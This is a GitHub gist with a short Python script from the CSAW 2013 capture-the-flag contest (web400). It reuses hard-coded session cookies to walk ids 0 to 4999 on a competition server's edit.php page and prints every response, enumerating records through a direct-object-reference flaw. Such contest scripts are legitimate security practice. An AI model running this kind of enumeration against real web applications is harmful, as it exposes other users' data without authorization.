Skip to content

Instantly share code, notes, and snippets.

@nmcv
Created September 24, 2013 14:25
Show Gist options
  • Save nmcv/6685572 to your computer and use it in GitHub Desktop.
Save nmcv/6685572 to your computer and use it in GitHub Desktop.
(CSAW2013 web400 #1) Enumerate all widgets
#!/usr/bin/env python
import requests
import pprint
cookie_jar = \
{
"PHPSESSID": "g53q6qct4l2bbgs1p5t48denf1",
"widget_tracker": "YTozOntpOjA7aTo1MzMwO2k6MTtpOjUzMzc7aToyO2k6NTM0MDt9",
"widget_validate": "05963d6a3e0abdc7df29beae3c68c6e933d4021446f060024aa4b8fa9cf61928748d4a93bce9209a106db6ef8dbba2ddf8aa0ef105bb11ec0b911a9e513718f"
}
def main():
for index in range(0, 5000):
url = 'http://128.238.66.224/edit.php?id=' + str(index)
res = requests.get(url, cookies=cookie_jar)
delimiter = '-' * 16
print("Browsing id={0}: {1}\n{2}\n"
.format(str(index), pprint.pformat(res.text), delimiter))
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment